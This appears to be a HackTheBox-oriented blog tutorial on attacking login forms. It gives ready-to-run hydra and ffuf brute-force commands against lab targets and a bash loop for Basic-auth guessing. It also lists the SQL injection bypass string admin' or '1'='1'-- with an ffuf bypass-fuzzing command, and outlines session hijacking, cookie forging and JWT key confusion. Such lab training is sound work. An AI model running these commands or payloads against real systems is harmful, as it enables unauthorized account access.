Login Forms
2024-02-22
INTRODUCTION
The moment you encounter a login form can be magical: there are so many possibilities at your fingertips… did they leave some default credentials on the system? Is there an SSRF? Maybe there’s a way to bypass authentication completely?
Having so many options can be both a blessing and a curse. It can be a little daunting to have to keep so many techniques in mind, and to keep your eyes open for evidence of the form’s vulnerability to each. In an effort to keep your efforts focused and heading in the right direction, I’m writing this strategy of my favorite techniques to try on login forms.
Disclaimer
The procedure outlined below is not even close to comprehensive. There are countless ways to attack a login form. This strategy is simply a summary of my “greatest hits” when dealing with machines on platforms like HackTheBox. Modern day login forms typically rely on some kind of federated login or single-sign-on mechanism, which is definitely outside the scope of this document.
RECON
The best place to start is by learning about the login form you’re facing. Determine what type of authentication is taking place (ex. Is it using basic http auth? Does it POST a form to a login endpoint? Do you have a session token before logging in?).
Performing a single login attempt manually and proxying it through Burp is a great way to answer these questions quickly. Here’s an example of an HTTP POST form, like on you might see on an Apache PHP server.
POST /admin/login.php HTTP/1.1
Host: love.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://love.htb
DNT: 1
Connection: close
Referer: http://love.htb/admin/
Cookie: PHPSESSID=fabeh7tcq673g4dgdvpm778r63
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
username=admin&password=password123&login=
Check the header and footer of the page. Does it display the name of the software or framework? a version number? With any luck, the target is using some open source system: in such a case, finding default credentials often reduces to a simple search on Github.
If you’re on Kali or have Seclists’ repo on your machine, it’s also worth checking known-defaults wordlist, such as:
/usr/share/seclists/Passwords/Default-Credentials
CREDENTIAL GUESSING
Guessing credentials should be your very first stop. It’s surprisingly common to leave easy / guessable credentials on the system, and this attack is incredibly easy to try.
If your recon turned up some default credentials to try, check those first. Otherwise, you may start by interacting with the form manually, typing some credentials and hitting Enter
. This will work on some very easy boxes.
However, I like to take a more systematic / automated approach. Both hydra
and ffuf
are excellent options.
wfuzz
is also good, but I don’t often use it personally.
hydra has many different modules for credential guessing. Outlined below are only http-get
and http(s)-post-form
. To see the whole list, check the help text:
hydra -h | grep "Supported services"
Then, to get more information on how to use a particular module, just pass the -U
argument. For example, learn how to use snmp:
hydra -U snmp
x-www-form-urlencoded
For this section, I’ll use a login form on the HTB machine Love as an example. From recon, I noted the following observations:
Observations from recon:
The form is located at http://love.htb/admin/index.php. As shown above, in the recon section, this form issues a POST request to
/admin/login.php
. The cookiePHPSESSID
is included in the request. Credentials are sent in the fieldsusername
andpassword.
The empty “submit” field is calledlogin
. Incorrect attempts redirect back to the login form, which has the textSign in to start your session
.
Hydra
Using the above information, we can point hydra
at the form, attacking it in a multithreaded credential-guessing attack:
USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWORDS=/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
hydra -L $USERS -P $PASSWORDS -I love.htb http-post-form "/admin/login.php:username=^USER^&password=^PASS^&login=:H=Cookie: PHPSESSID=fabeh7tcq673g4dgdvpm778r63:F=Sign in to start your session"
Any attempts that produce a response that doesn’t include the F=
text are considered successful and will be displayed in the console.
- Provide the cookie as a portion of the header (
:H=Cookie: key1=val1; key2=val2
)- the filter string (
:F=text you see if authentication failed
) must be after the cookie
This is how we’d adjust hydra
for a hypothetical HTTPS form that is otherwise identical:
hydra -L $USERS -P $PASSWORDS -I -S love.htb https-post-form "/admin/login.php:username=^USER^&password=^PASS^&login=:H=Cookie: PHPSESSID=fabeh7tcq673g4dgdvpm778r63:F=Sign in to start your session"
- Use method https-post-form, not http-post-form, along with the
-S
option
Ffuf
Let’s do the same thing with ffuf
. Personally, I prefer ffuf
for this task - it is clearer about what options to use:
ffuf -u http://love.htb/admin/login.php -r -t 16 -c -v \
-w "/usr/share/seclists/Usernames/top-usernames-shortlist.txt:USER" \
-w "/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt:PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=fabeh7tcq673g4dgdvpm778r63" \
-d 'username=USER&password=PASS&login=' \
-fr 'Sign in to start your session'
Oddly, I haven’t ever been able to get this to work if I use bash variables as the wordlist paths 🤷♂️
You can also get
ffuf
to load an http request that was saved using a tool like Burp - very similar to the same feature that’s insqlmap
. It saves writing out a bunch of args and flags forffuf
.
(I removed the regex filter for illustrative purposes. It would be smart to use the -fr
option in actual practice.)
Here’s the same thing, but using a hypothetical HTTPS form. Note the -k
flag and the change to the -u
parameter:
ffuf -u https://love.htb/admin/login.php -k -r -t 16 -c -v \
-w "/usr/share/seclists/Usernames/top-usernames-shortlist.txt:USER" \
-w "/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt:PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=fabeh7tcq673g4dgdvpm778r63" \
-d 'username=USER&password=PASS&login=' \
-fr 'Sign in to start your session'
There are many tools that will do this type of thing. I really appreciate the versatility of
ffuf
though.Ffuf
never tries to override anything you tell it to do, which makes everything a little more transparent.
Basic HTTP Auth
It’s rare these days, but sometimes you still encounter basic http authentication. You can identify this by checking the request and response headers:
- The request will have a header like this:
Authorization: Basic ZWMyLXVzZXI6MTIzNDU2MQ==
Where the value isbase64(username:password)
- The response to initial (unsuccessful) attempts to log in will have a
WWW-Authenticate
header set. Probably showing something likeWWW-Authenticate: Basic realm="Access denied"
.
Hydra
Thankfully, Hydra makes it really easy to combine wordlists into the base64-encoded username:password
format shown above. The only trick is to provide the proper args to attempt to use basic http auth:
USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWDS=/usr/share/seclists/Passwords/2023-200_most_used_passwords.txt
hydra -L $USERS -P $PASSWDS 83.136.254.223 -s 41958 http-get "/"
Ffuf
Getting ffuf to do a dictionary attack for basic http auth is a little more involved. Fortunately though, ffuf is perfectly happy to use STDIN
as a wordlist. Instead of providing a wordlist filepath, just use -w -
⚠️ To do this, we need to either choose to use a lot of RAM, or a lot of disk.
If you prefer to use more disk, then generate the wordlist first. The example below is the “use a lot of RAM” way.
# Get our wordlists as shell variables
USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWDS=/usr/share/seclists/Passwords/2023-200_most_used_passwords.txt
# Pipe a script's stdout into ffuf as a wordlist.
while IFS= read -r P; do while IFS= read -r U; do printf "%s:%s" $U $P | base64; done < $USERS; done < $PASSWDS | \
ffuf -w -:B64 -u http://83.136.254.223:41958 -H "Authorization: Basic B64" -fc 401 -v -s | base64 -d
admin:admin
While you’re testing the args, I recommend using the following:
-x http://127.0.0.1:8080
: proxy your tests through Burp or ZAP.- Omit the
-fc
and-s
arguments, and don’t pipe the results tobase64 -d
.
AUTHENTICATION BYPASS
SQLi Bypass
When the handler of a login form fails to perform proper input sanitization and validation, it might be susceptible to some really easy SQL injection. If that’s the case, you might be able to bypass the login form altogether. This works by passing specially-crafted SQL escapes into the username or password fields, tricking the logic of the backend code into thinking the credentials were valid. Here’s a textbook example:
admin' or '1'='1'--
(Note there is a space after the SQL comment --
). Using the above as a username might let you in if the username parameter is passed to the code within singlequotes and the authentication logic is handled within SQL itself.
It works like this: The password check gets bypassed by the
'1'='1'
evaluating toTrue
and the--
comment character truncates the rest of the logic. As a result, the whole SQL statement evaluates to True, possibly letting you in.
Since there are so many SQL auth bypass strings to attempt, I find it very useful to automate it with ffuf
:
WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt
ffuf -w $WLIST:FUZZ -u http://love.htb/admin/login.php -r -X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=fabeh7tcq673g4dgdvpm778r63" \
-d "username=FUZZ&password=password123&login=" \
-fr 'Sign in to start your session'
For an example, please see the section of my walkthrough of Toolbox where I use this exact technique to find these auth bypasses:
Note that this scan only took three seconds. It’s definitely worth checking.
🚨 If an SQLi bypass works, there is a high likelihood that SQL injection can be be further leveraged to gain RCE. Please see
SQLMap
for more details. Usage ofSQLMap
is such a broad topic that it could easily be a whole article by itself.
Session Hijacking
Do your target use session cookies, and you’ve already obtained another (valid) session token? If so, just plonk it right into your browser’s cookies and navigate to the restricted endpoint (ex. the page where you would have been redirected if you had logged in legitimately). This is an excellent extension to a successful XSS attack.
If this works, a good thing to check right away is whether you can perform a password-reset without reauthenticating - that would lead to account takeover!
Forging a Cookie
As mentioned above, sometimes all you need to “prove” you are already authenticated is to present some kind of token or cookie. Sometimes, a website will fail to verify the cookie server-side. I’ve seen this before with the following authentication mechanism:
The client provides credentials. Their credentials get wrapped together into a cookie and stored in the browser. Let’s call this cookie “
CREDS
”.☝️ It doesn’t matter if it was the client or the server that bundled the credentials into the cookie.
The server reads the credentials and determines if they are valid. If they are valid, the server takes
CREDS
and cryptographically signs it, creatingCREDS_SIGNED
, then hands that signed cookie back to the user.The user now presents both cookies for any request, proving they are who they say they are, that the server validated the authentication.
So, what could go wrong? A sloppy developer might botch step (2):
- A good cryptographic signature relies on a key that remains private (for at least the whole duration of when a signature needs to be valid). If that key gets leaked, the whole system falls apart.
- Perhaps the server didn’t even use a key - it just “signed” the data as-is, perhaps just by hashing it.
I encountered exactly this situation when doing the HTB machine Download. Please see my walkthrough on that box for more detail. I created a handy tool for performing cookie signatures using NodeJS + Express for that box (plus an bonus tool that abused the authentication mechanism to enumerate valid usernames on the system 😉)
Another excellent tool for this is Cookiemonster. It’s very versatile, working for several different frameworks and encodings. Please check out their repo for more detail.
JWT Key Confusion
This is an attack that I utilized on a (now retired) HTB machine Cybermonday. At a high level, it depends on a server’s misconfiguration such that it might misinterpret part of a JWT*, such as the part that specifies the key algorithm*.
This attack is a little more complicated, so please refer to that section of my walkthrough of Cybermonday for more detail.
MANY MORE
TODO:
- Remember Me abuse
- Fiddling with the request header (bypass technique)
- Refreshing a login token but actually grabbing somebody else’s (also a bypass)
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake